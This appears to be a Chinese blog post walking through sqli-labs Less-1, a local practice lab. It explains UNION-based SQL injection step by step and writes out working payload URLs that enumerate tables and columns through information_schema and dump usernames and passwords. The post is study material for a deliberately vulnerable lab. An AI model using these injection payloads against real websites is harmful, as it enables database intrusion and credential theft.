Sqli-labs学习第一题

很多东西了解一下,然后去用,总会遇到问题,一定不能浅尝辄止,要深入学习下,不能说说,要及时复习,要经常用才不会忘。
一直用 sqlmap,很少手工注入,但是很多时候不是别人写的工具就能解决的,要自己的工具适应不同的场景,编写自己的工具,那么首先要手工流程很熟悉才可以。
决定实践一遍 sqli-labs,还有各大平台的CTF都来一遍。
实践是检验真理的唯一标准

http://localhost:9096/sqli-labs/Less-1/

搭建在本地的:

第一题是最简单的 get 报错注入
这里写图片描述

我加了个单引号立马就报错了
这里写图片描述

根据报错语句

check the manual that corresponds to your MySQL server version for the right syntax to use
near ''1'' LIMIT 0,1' at line 1

也就是说传入的id是查询的id,然后后面的语句是 limit 0,1

可以在页面上加上一条语句来输出sql语句

    echo "你的 sql 语句是:".$sql."<br>";

这里写图片描述

使用 order by判断使用了几个字段,然后使用 union联合查询

什么意思呢?

order by的意思是 根据什么来排序,然后 order by 3 %23 是什么意思呢?

就是 按第三个字段排序, %23是 #的url编码,#是mysql中的注释
如果 order by 4 就会报错了,因为没有第4个字段

这里写图片描述

order by 4报错

这里写图片描述

目前说明了这个表一共有 3个字段

使用 union 是联合查询,将前面的select与后面的 select 的查询结果合并起来
那么我们让第一个 select的查询位空,那么页面上显示的就是后面的select也就是我们想要执行的查询语句
可以使用NULL来代替。

这里写图片描述

查询数据库的版本 version()

还有 一共3个字段,使用 union的话前面的查询出来的字段的类型要与后面的一样,不然会报错

数据库中有3个字段,但是第一个字段不会显示到页面

这里写图片描述

http://localhost:9096/sqli-labs/Less-1/?id=-1' union select NULL,version(),user()%23

火狐新版本真鸡儿难用

这里写图片描述

获取数据库版本和现在使用的数据库版本

改成 user()
获取用户
这里写图片描述

user() version() database() 都是mysql的函数。

通过这样执行来获取数据库信息。

这样是两个位置,还可以使用 数据库的连接函数

concat和concat_ws group_concat

正好这里学习一下这几个函数的使用:

concat(str1,str2,…)
返回结果为连接参数产生的字符串。如有任何一个参数为NULL,则返回为NULL,若所有参数均为非二进制字符串,则结果为非二进制字符串,但是变量中包含一个二进制字符串,则结果就是一个二进制字符串。

这里写图片描述

也就是可以这样来一个位置获取两个值
这里写图片描述

要注意,要执行命令 use 数据库
database()返回的才是现在使用的数据库也就是 use的。
不然没有使用当然返回的是NULL

这里写图片描述

第二个 concat_ws

这个是 concat的特殊形式,第一个参数是其他参数的分隔符,分割位置放在要连接的两个字符串之间,分隔符可以是一个字符串,也可以是其他参数
这里写图片描述

第三个 group_concat()分组拼接函数

group_concat([DISTINCT] 要连接的字符串 [ORDER BY ASC/DESC 排序字段] [SEPARATOR ‘分隔符’])

select cat_id,group_concat(shop_price) from goods group by cat_id limit 3;

什么意思呢?
查询 cat_id和 对应的这个组的所有的 shop_price 按 cat_id分组。
这样就获取到指定分组的所有的数据了。

这里写图片描述

还可以指定分隔符

select cat_id,group_concat(shop_price separator ':') from goods group by cat_id limit 3;

这里写图片描述

还可以排序

select cat_id,group_concat(shop_price order by shop_price desc) from goods group by cat_id limit 3;

这里写图片描述

接回原来。
但是如果直接使用 : html会被转义

可以使用 mysql的char函数将十进制转为字符

:的十进制也就是ASCII 是 58
这里写图片描述

char函数很有用,防止被 html编码

说是这么说,但是我尝试了直接还可以的

http://localhost:9096/sqli-labs/Less-1/?id=-1';
union select NULL,concat_ws(': ',version(),database(),user()),NULL%23

这里写图片描述

既然知道了数据库,那么我们就要想知道数据库中有什么数据表

这里要用到mysql数据库的默认数据库 information_schema
这个记录了当前数据库的数据库,表,列等等信息。
也就是说我们可以从这个数据库中查询我们想要的信息

https://www.2cto.com/database/201305/212034.htmlhttps://www.2cto.com/database/201305/212034.html

这个 information_schema的表

schemata表:
存储mysql所有数据库的基本信息,包括数据库名,编码类型路径等,
原来 show database也是取自这个表

tables表:
一看就知道存储mysql中的表信息。

columns表:
当然就是表中的列信息了。

select * from information_schema.tables where table_schema=security;

这里写图片描述

首先为什么使用 table_schema呢?

首先使用数据库 information_schema
查看都有什么表:
这里写图片描述

查询下 tables表的结构

可以看到 table_schema

这里写图片描述

我们再来看下这个字段的数据

这里写图片描述

这里写图片描述

都是数据库,所有~~~

select * from information_schema.tables where table_schema = 'security';

最后的要是字符才可以。
也可以使用十六进制,然后使用十六进制是最好的,不然还有单引号等问题

这里写图片描述

这里写图片描述

十六进制前面要加上 0x
这里写图片描述

可以尝试下

这里写图片描述

那么使用

http://localhost:9096/sqli-labs/Less-1/?id=-1'; union select 1,2,table_name from information_schema.tables where table_schema=0x7365637572697479 %23

闭合前面select查询的结果为空,后面查询 information_schema数据库,根据我们得到的数据库来查询表的信息
table_name来获取表
这里写图片描述

数据库表的信息

这里写图片描述

为什么我没有加 limit 也是只返回第一个呢?

因为的 php的函数

mysql_fetch_array只被调用了一次,而mysql_fetch_array() 函数从结果集中取得一行作为关联数组

他只取了游标最上面的~

那我们想获取后面的表就可以使用 limit

http://localhost:9096/sqli-labs/Less-1/?id=-1'; union select 1,2,table_name from information_schema.tables where table_schema=0x7365637572697479 limit 1,2%23

断的改 limit就可以获取所有的表了~

这里写图片描述

http://localhost:9096/sqli-labs/Less-1/?id=-1'; union select 1,2,table_name from information_schema.tables where table_schema=0x7365637572697479 limit 2,3%23


一直到 4,5返回空了
http://localhost:9096/sqli-labs/Less-1/?id=-1'; union select 1,2,table_name from information_schema.tables where table_schema=0x7365637572697479 limit 4,5%23

这里写图片描述

这样我们获取到了表 emails referers uagents users

既然有 users 肯定有管理员的用户名和密码

有了表,我们就要查询字段,同样使用 inforamtion_schema数据库
来获取我们想要的信息

select * from information_schema.columns where table_schema='security';

这里写图片描述

使用:

http://localhost:9096/sqli-labs/Less-1/?id=-1'; union select 1,2,column_name from information_schema.columns where table_schema=0x7365637572697479 and table_name= 0x7573657273 %23

这里写图片描述

与查询数据库变了下字段

同样的道理
但是要注意加了 and table_name,要是表字段是我们想要的users才行,
同样使用

http://localhost:9096/sqli-labs/Less-1/?id=-1'; union select 1,2,column_name from information_schema.columns where table_schema=0x7365637572697479 limit 1,2%23

更改 limit获取字段的信息

id,username,password

我们现在知道了字段。那么就可以直接 select 获取了

http://localhost:9096/sqli-labs/Less-1/?id=-1';
union select 1,2,concat_ws(':',id,username,password) from users%23

这里写图片描述

以后每周都会学习sqli-lab和ctf,也都会做相应的博客笔记。这次不再是笔记了,我要有这让别人能很容易看懂的去写,真正理解的去写。

想学不要想去做吧。

参考:
http://blog.csdn.net/u012763794/article/details/51207833

  • 2
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值